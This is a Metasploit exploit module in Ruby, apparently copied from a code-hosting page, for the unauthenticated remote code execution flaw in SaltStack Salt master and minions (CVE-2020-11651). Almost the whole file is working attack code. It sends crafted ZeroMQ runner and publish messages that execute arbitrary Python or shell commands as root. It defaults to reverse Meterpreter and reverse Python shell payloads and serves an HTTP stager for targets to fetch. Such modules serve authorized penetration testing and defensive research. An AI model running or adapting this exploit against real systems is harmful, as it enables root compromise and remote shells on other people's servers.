296 lines
9.8 KiB
Ruby
296 lines
9.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::ZeroMQ
|
|
include Msf::Exploit::Remote::CheckModule
|
|
include Msf::Exploit::CmdStager::HTTP # HACK: This is a mixin of a mixin
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'SaltStack Salt Master/Minion Unauthenticated RCE',
|
|
'Description' => %q{
|
|
This module exploits unauthenticated access to the runner() and
|
|
_send_pub() methods in the SaltStack Salt master's ZeroMQ request
|
|
server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
|
|
execute code as root on either the master or on select minions.
|
|
|
|
VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
|
|
well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual
|
|
Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,
|
|
1.3, 1.5, and 1.6 in certain configurations, are known to be affected
|
|
by the Salt vulnerabilities.
|
|
|
|
Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
|
|
well as Vulhub's Docker image.
|
|
},
|
|
'Author' => [
|
|
'F-Secure', # Discovery
|
|
'wvu' # Module
|
|
],
|
|
'References' => [
|
|
['CVE', '2020-11651'], # Auth bypass (used by this module)
|
|
['CVE', '2020-11652'], # Authed directory traversals (not used here)
|
|
['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],
|
|
['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],
|
|
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],
|
|
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG'],
|
|
['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']
|
|
],
|
|
'DisclosureDate' => '2020-04-30', # F-Secure advisory
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['python', 'unix'],
|
|
'Arch' => [ARCH_PYTHON, ARCH_CMD],
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
[
|
|
'Master (Python payload)',
|
|
{
|
|
'Description' => 'Executing Python payload on the master',
|
|
'Platform' => 'python',
|
|
'Arch' => ARCH_PYTHON,
|
|
'Type' => :python,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'python/meterpreter/reverse_https'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Master (Unix command)',
|
|
{
|
|
'Description' => 'Executing Unix command on the master',
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Minions (Python payload)',
|
|
{
|
|
'Description' => 'Executing Python payload on the minions',
|
|
'Platform' => 'python',
|
|
'Arch' => ARCH_PYTHON,
|
|
'Type' => :python,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'python/meterpreter/reverse_https'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Minions (Unix command)',
|
|
{
|
|
'Description' => 'Executing Unix command on the minions',
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'DefaultOptions' => {
|
|
# cmd/unix/reverse_python_ssl crashes in this target
|
|
'PAYLOAD' => 'cmd/unix/reverse_python'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0, # Defaults to master for safety
|
|
'DefaultOptions' => {
|
|
'CheckModule' => 'auxiliary/gather/saltstack_salt_root_key'
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(4506),
|
|
OptString.new('ROOT_KEY', [false, "Master's root key if you have it"]),
|
|
OptRegexp.new('MINIONS', [true, 'PCRE regex of minions to target', '.*'])
|
|
])
|
|
|
|
register_advanced_options([
|
|
OptInt.new('WfsDelay', [true, 'Seconds to wait for *all* sessions', 10])
|
|
])
|
|
end
|
|
|
|
# NOTE: check is provided by auxiliary/gather/saltstack_salt_root_key
|
|
|
|
def exploit
|
|
if target.name.start_with?('Master')
|
|
if (root_key = datastore['ROOT_KEY'])
|
|
print_status("User-specified root key: #{root_key}")
|
|
else
|
|
# check.reason is from auxiliary/gather/saltstack_salt_root_key
|
|
root_key = check.reason
|
|
end
|
|
|
|
unless root_key
|
|
fail_with(Failure::BadConfig,
|
|
"#{target['Description']} requires a root key")
|
|
end
|
|
end
|
|
|
|
# These are from Msf::Exploit::Remote::ZeroMQ
|
|
zmq_connect
|
|
zmq_negotiate
|
|
|
|
print_status("#{target['Description']}: #{datastore['PAYLOAD']}")
|
|
|
|
case target.name
|
|
when /^Master/
|
|
yeet_runner(root_key)
|
|
when /^Minions/
|
|
yeet_send_pub
|
|
end
|
|
|
|
# HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one
|
|
sleep(wfs_delay)
|
|
rescue EOFError, Rex::ConnectionError => e
|
|
print_error("#{e.class}: #{e.message}")
|
|
ensure
|
|
# This is from Msf::Exploit::Remote::ZeroMQ
|
|
zmq_disconnect
|
|
end
|
|
|
|
def yeet_runner(root_key)
|
|
print_status("Yeeting runner() at #{peer}")
|
|
|
|
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951
|
|
# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951
|
|
runner = {
|
|
'cmd' => 'runner',
|
|
# https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd
|
|
'fun' => 'salt.cmd',
|
|
'kwarg' => {
|
|
'hide_output' => true,
|
|
'ignore_retcode' => true,
|
|
'output_loglevel' => 'quiet'
|
|
},
|
|
'user' => 'root', # This is NOT the Unix user!
|
|
'key' => root_key # No JID needed, only the root key!
|
|
}
|
|
|
|
case target['Type']
|
|
when :python
|
|
vprint_status("Executing Python code: #{payload.encoded}")
|
|
|
|
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
|
|
runner['kwarg'].merge!(
|
|
'fun' => 'cmd.exec_code',
|
|
'lang' => payload.arch.first,
|
|
'code' => payload.encoded
|
|
)
|
|
when :unix_cmd
|
|
# HTTPS doesn't appear to be supported by the server :(
|
|
print_status("Serving intermediate stager over HTTP: #{start_service}")
|
|
|
|
vprint_status("Executing Unix command: #{payload.encoded}")
|
|
|
|
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.script
|
|
runner['kwarg'].merge!(
|
|
# cmd.run doesn't work due to a missing argument error, so we use this
|
|
'fun' => 'cmd.script',
|
|
'source' => get_uri,
|
|
'stdin' => payload.encoded
|
|
)
|
|
end
|
|
|
|
vprint_status("Unserialized clear load: #{runner}")
|
|
zmq_send_message(serialize_clear_load(runner))
|
|
|
|
unless (res = sock.get_once)
|
|
fail_with(Failure::Unknown, 'Did not receive runner() response')
|
|
end
|
|
|
|
vprint_good("Received runner() response: #{res.inspect}")
|
|
end
|
|
|
|
def yeet_send_pub
|
|
print_status("Yeeting _send_pub() at #{peer}")
|
|
|
|
# NOTE: A unique JID (job ID) is needed for every published job
|
|
jid = generate_jid
|
|
|
|
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L2043-L2151
|
|
# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L2043-L2151
|
|
send_pub = {
|
|
'cmd' => '_send_pub',
|
|
'kwargs' => {
|
|
'bg' => true,
|
|
'hide_output' => true,
|
|
'ignore_retcode' => true,
|
|
'output_loglevel' => 'quiet',
|
|
'show_jid' => false,
|
|
'show_timeout' => false
|
|
},
|
|
'user' => 'root', # This is NOT the Unix user!
|
|
'tgt' => datastore['MINIONS'],
|
|
'tgt_type' => 'pcre',
|
|
'jid' => jid
|
|
}
|
|
|
|
case target['Type']
|
|
when :python
|
|
vprint_status("Executing Python code: #{payload.encoded}")
|
|
|
|
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
|
|
send_pub.merge!(
|
|
'fun' => 'cmd.exec_code',
|
|
'arg' => [payload.arch.first, payload.encoded]
|
|
)
|
|
when :unix_cmd
|
|
vprint_status("Executing Unix command: #{payload.encoded}")
|
|
|
|
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.run
|
|
send_pub.merge!(
|
|
'fun' => 'cmd.run',
|
|
'arg' => [payload.encoded]
|
|
)
|
|
end
|
|
|
|
vprint_status("Unserialized clear load: #{send_pub}")
|
|
zmq_send_message(serialize_clear_load(send_pub))
|
|
|
|
unless (res = sock.get_once)
|
|
fail_with(Failure::Unknown, 'Did not receive _send_pub() response')
|
|
end
|
|
|
|
vprint_good("Received _send_pub() response: #{res.inspect}")
|
|
|
|
# NOTE: This path will likely change between platforms and distros
|
|
register_file_for_cleanup("/var/cache/salt/minion/proc/#{jid}")
|
|
end
|
|
|
|
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/utils/jid.py
|
|
# https://github.com/saltstack/salt/blob/v3000.1/salt/utils/jid.py
|
|
def generate_jid
|
|
DateTime.now.new_offset.strftime('%Y%m%d%H%M%S%6N')
|
|
end
|
|
|
|
# HACK: Stub out the command stager used by Msf::Exploit::CmdStager::HTTP
|
|
def stager_instance
|
|
nil
|
|
end
|
|
|
|
# HACK: Sub out the executable used by Msf::Exploit::CmdStager::HTTP
|
|
def exe
|
|
# NOTE: The shebang line is necessary in this case!
|
|
<<~SHELL
|
|
#!/bin/sh
|
|
/bin/sh
|
|
SHELL
|
|
end
|
|
|
|
end
|